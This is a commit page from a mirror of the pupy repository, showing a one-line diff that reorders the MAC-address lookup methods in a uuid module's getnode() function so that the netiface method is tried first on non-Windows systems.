mirror of https://github.com/n1nj4sec/pupy.git
linux/uuid: prefer netiface getnode method
This commit is contained in:
parent
62120abb64
commit
5479e9f8d9
|
@ -727,7 +727,7 @@ def getnode():
|
||||||
if sys.platform == 'win32':
|
if sys.platform == 'win32':
|
||||||
getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
|
getters = [_windll_getnode, _netbios_getnode, _ipconfig_getnode]
|
||||||
else:
|
else:
|
||||||
getters = [_unixdll_getnode, _netiface_getnode,
|
getters = [_netiface_getnode, _unixdll_getnode,
|
||||||
_sysfs_getnode, _ifconfig_getnode,
|
_sysfs_getnode, _ifconfig_getnode,
|
||||||
_arp_getnode, _lanscan_getnode, _netstat_getnode
|
_arp_getnode, _lanscan_getnode, _netstat_getnode
|
||||||
]
|
]
|
||||||
|
|
Loading…
Reference in New Issue